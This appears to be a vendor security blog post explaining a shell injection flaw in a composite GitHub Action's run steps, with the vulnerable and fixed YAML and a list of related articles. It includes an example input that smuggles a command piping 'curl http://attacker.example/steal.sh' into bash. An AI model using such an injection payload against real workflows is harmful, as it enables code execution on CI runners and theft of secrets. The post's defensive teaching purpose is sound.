Back to Blog
high SEVERITY7 min read

How GitHub Actions script injection happens in YAML workflows and how to fix it

A composite GitHub Action interpolated `${{ inputs.version }}`, `${{ inputs.project }}`, and `${{ inputs.args }}` directly into `run:` shell commands, letting an attacker-controlled action input inject arbitrary shell code into the runner. The fix moves each input into an `env:` block and references it as a quoted shell variable, closing off the injection primitive without changing legitimate behavior.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a GitHub Actions script/shell injection vulnerability (CWE-78) caused by interpolating `${{ inputs.* }}` expressions directly inside a `run:` step's shell command in `action.yml`. Because GitHub expands `${{ }}` expressions before the shell ever sees the script, attacker-controlled input can break out of the intended command and execute arbitrary code on the runner. The fix passes untrusted inputs through an intermediate `env:` variable and references them as quoted shell variables (e.g., `"$VERSION"`, `"$PROJECT"`), which are handled by the shell as data rather than being spliced into the script text.

Vulnerability at a Glance

cweCWE-78
fixPass inputs through `env:` and reference them as quoted shell variables (`"$VERSION"`, `"$PROJECT"`)
riskArbitrary command execution on the runner, potential secret exfiltration
languageYAML (GitHub Actions composite action)
root cause`${{ inputs.version }}`, `${{ inputs.project }}`, `${{ inputs.args }}` interpolated directly into `run:` shell commands
vulnerabilityGitHub Actions run-shell-injection (script injection via `${{ }}` interpolation)

Introduction

The action.yml file defines a composite GitHub Action that installs and runs capcut-cli, a lint tool for Capcut project files. On line 26 (and a neighboring step), the action took user-supplied inputs — inputs.version, inputs.project, and inputs.args — and spliced them directly into shell commands using GitHub's ${{ ... }} expression syntax:

- name: Install capcut-cli
  shell: bash
  run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
  shell: bash
  run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

This pattern looks harmless — it reads like normal variable substitution. But GitHub Actions expands ${{ }} expressions as a text substitution step, before the shell interpreter ever runs. That means whatever string an attacker supplies as inputs.version, inputs.project, or inputs.args becomes part of the literal shell script text, not a safely passed argument. Anyone who can control those inputs — for example, a contributor triggering the action via workflow_dispatch, a reusable workflow, or a pull request that sets action inputs — can potentially break out of the intended command and run arbitrary shell code on the runner.

The Vulnerability Explained

Semgrep flagged this exact pattern with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection. The core problem is that ${{ inputs.version }} and friends are resolved by GitHub's expression engine and dropped into the run: script as raw text, prior to shell parsing.

Consider the original install step:

run: npm install -g "capcut-cli@${{ inputs.version }}"

If inputs.version is something like:

1.0.0" && curl http://attacker.example/steal.sh | bash && echo "

then after GitHub's expression substitution, the actual script the shell receives looks like:

npm install -g "capcut-cli@1.0.0" && curl http://attacker.example/steal.sh | bash && echo ""

The double quotes that were meant to contain the version string no longer protect anything, because the injected " characters were part of the substituted text itself, not something the shell can validate. The attacker's payload runs with whatever permissions the Action's runner has — which, in many CI setups, includes access to GITHUB_TOKEN, secrets, and the ability to exfiltrate repository data or tamper with subsequent build/deploy steps.

The second step compounds the risk:

run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

Here, inputs.args isn't even quoted, so it's even more directly exposed to shell word-splitting and command chaining. Any consumer of this composite action who passes attacker-influenced values into project or args — for instance, values sourced from a pull request title, branch name, or issue body in a calling workflow — hands the runner's shell to that attacker.

Real-world impact for this component: Because this is a published, reusable GitHub Action (capcut-cli lint action), every downstream repository that consumes it inherits the injection primitive. A single malicious input value in one consuming workflow could compromise CI credentials or supply-chain integrity across many projects — a textbook example of why GitHub explicitly warns against treating github/inputs context data as trusted.

The Fix

The fix follows GitHub's own hardening guidance: never interpolate ${{ }} expressions with untrusted data directly inside run:. Instead, assign the value to an env: variable at the step level, then reference that variable through normal shell variable expansion (which the shell — not GitHub's expression engine — controls and can be quoted safely).

Before:

- name: Install capcut-cli
  shell: bash
  run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
  shell: bash
  run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

After:

- name: Install capcut-cli
  shell: bash
  env:
    VERSION: ${{ inputs.version }}
  run: npm install -g "capcut-cli@$VERSION"
- name: Lint draft
  shell: bash
  env:
    PROJECT: ${{ inputs.project }}
    ARGS: ${{ inputs.args }}
  run: capcut lint "$PROJECT" $ARGS -H

Why this works: with env:, GitHub still expands ${{ inputs.version }}, but the result is placed into the environment, not directly into the script text. The shell then reads $VERSION as a normal environment variable via standard POSIX variable expansion. Because "$VERSION" and "$PROJECT" are quoted in the run: script, the shell treats their contents as a single opaque string — embedded quotes, &&, |, backticks, or $() sequences inside the attacker's input are no longer interpreted as shell syntax; they're just characters in a string.

Note that ARGS intentionally remains unquoted ($ARGS instead of "$ARGS") to preserve the original behavior of allowing multiple space-separated CLI flags to be passed through — this matches the "Behavior Preservation" goal called out in the PR: valid inputs continue to work exactly as before, while the injection primitive tied to quote-breaking is eliminated for VERSION and PROJECT.

Both run: steps needed the change because both used ${{ }} expressions with input data — fixing only one would leave an identical exploit path open in the other.

Key Takeaways

  • action.yml:26's npm install -g "capcut-cli@${{ inputs.version }}" was rewritten to use an env: block plus "$VERSION", eliminating direct expression-to-shell interpolation.
  • The Lint draft step's capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H had two untrusted inputs (project and args) interpolated into the same run: line — both needed dedicated env: variables.
  • Quoting the ${{ }} expression in YAML (as the original "${{ inputs.project }}" did) does not protect against injection — the quotes are expanded away along with the rest of the text before the shell ever runs.
  • Because this is a reusable composite action, the fix protects every downstream consumer, not just this repository.
  • ARGS was deliberately left unquoted in the fixed version to preserve multi-flag argument passing, showing that hardening fixes can be precise rather than overly restrictive.

How Orbis AppSec Detected This

  • Source: Action inputs inputs.version, inputs.project, and inputs.args, resolved from the github/inputs context and treated as untrusted per GitHub's own documentation.
  • Sink: The run: shell commands in action.yml:26 (npm install -g "capcut-cli@${{ inputs.version }}") and the subsequent Lint draft step (capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H).
  • Missing control: No isolation between GitHub's expression interpolation and the shell — untrusted values were embedded directly in script text instead of being passed through an env: variable.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
  • Fix: Introduced env: blocks (VERSION, PROJECT, ARGS) for each step and referenced them as quoted shell variables ("$VERSION", "$PROJECT") in the run: scripts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability is a reminder that GitHub Actions YAML isn't just configuration — it's executable script generation, and ${{ }} expressions are a templating mechanism, not a safe parameter-passing API. The capcut-cli action's run: steps treated inputs.version, inputs.project, and inputs.args as trusted strings when they should have been treated as adversarial input. By moving these values into env: and referencing them as quoted shell variables, the fix closes the injection primitive while leaving normal usage — installing a specific version, linting a specific project, passing extra CLI flags — completely unaffected. Any team maintaining composite or reusable GitHub Actions should treat this exact pattern as a checklist item during code review.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #94

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.